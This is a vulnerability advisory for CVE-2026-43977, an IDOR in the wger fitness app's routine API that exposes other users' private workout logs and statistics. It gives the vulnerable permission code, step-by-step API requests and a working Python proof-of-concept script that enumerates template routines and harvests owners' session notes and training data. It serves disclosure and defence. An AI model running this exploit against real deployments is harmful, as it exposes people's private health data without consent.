wger
Affected
- introduced
0, last affected2.5(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-43977, GHSA-cj9g-27ph-4cgv
wger Vulnerable to IDOR: Authenticated Users Can Read Any User's Private Workout Session Data via Template Routine API
Summary
Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.
The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).
An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call
GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.
Description
wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.
The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.
Root Cause
File: wger/manager/api/permissions.py, lines 30–41
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
if obj.is_template: # ← any template is readable
return request.method in permissions.SAFE_METHODS # by any authenticated user
return False
File: wger/manager/api/views.py, lines 173–199
@action(detail=True, url_path='logs')
def logs(self, request, pk):
out = LogDisplaySerializer(
self.get_object().logs_display(), # ← returns OWNER's logs, not request.user's
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
out = LogStatsDataSerializer(
self.get_object().calculate_log_statistics() # ← owner's statistics
).data
return Response(out)
self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.
The intended behavior is that templates are public workout *plans* (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the *owner's personal training history* logged against that plan.
Impact
An authenticated attacker can:
GET /api/v2/routine/?is_template=true&is_public=trueThis data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.
Proof of Concept
Scenario
There are two users in the system:
The attack:
Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.
Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.
Step-by-step
POST /api/v2/token.GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.No special permissions are needed. A fresh account (1-minute-old) can exploit this.
Python PoC
#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target: GET /api/v2/routine/{id}/logs/
GET /api/v2/routine/{id}/stats/
"""
import requests
import json
BASE_URL = "http://TARGET_IP" # replace with target
def get_token(username, password):
r = requests.post(
f"{BASE_URL}/api/v2/token",
json={"username": username, "password": password},
)
r.raise_for_status()
return r.json()["access"]
def exploit(attacker_token):
headers = {"Authorization": f"Bearer {attacker_token}"}
# Step 1: Enumerate all public template routines (from ALL users)
print("[*] Step 1: Enumerating public template routines...")
r = requests.get(
f"{BASE_URL}/api/v2/routine/",
params={"is_template": "true", "is_public": "true"},
headers=headers,
)
routines = r.json().get("results", [])
print(f"[+] Found {len(routines)} public template routine(s)\n")
for routine in routines:
routine_id = routine["id"]
routine_name = routine["name"]
print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")
# Step 2: Fetch the OWNER's workout session logs (IDOR)
logs_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
headers=headers,
)
if logs_r.status_code == 200:
sessions = logs_r.json()
print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
for session in sessions:
s = session.get("session", {})
print(f" Date: {s.get('date')}")
print(f" Notes: {s.get('notes')}") # ← private user notes
print(f" Impression: {s.get('impression')}")
print(f" Logs: {len(session.get('logs', []))} exercise entries")
print()
# Step 3: Fetch the OWNER's training statistics (IDOR)
stats_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
headers=headers,
)
if stats_r.status_code == 200:
stats = stats_r.json()
print(f"[+] Training statistics for routine #{routine_id}:")
volume = stats.get("volume", {}).get("mesocycle", {})
print(f" Total volume: {volume.get('total')} kg")
print(f" Upper body volume: {volume.get('upper_body')} kg")
print(f" Lower body volume: {volume.get('lower_body')} kg")
print()
print("-" * 60)
if __name__ == "__main__":
# Attacker uses their OWN credentials (no privilege needed)
print("[*] Authenticating as attacker (bob)...")
token = get_token("bob", "bobpassword")
print(f"[+] Token acquired\n")
exploit(token)High Basis: CVSS v3 score 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0, last affected 2.5 (ecosystem)None listed
No fixed version is listed.
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Source: PyPA Advisory Database · CC BY 4.0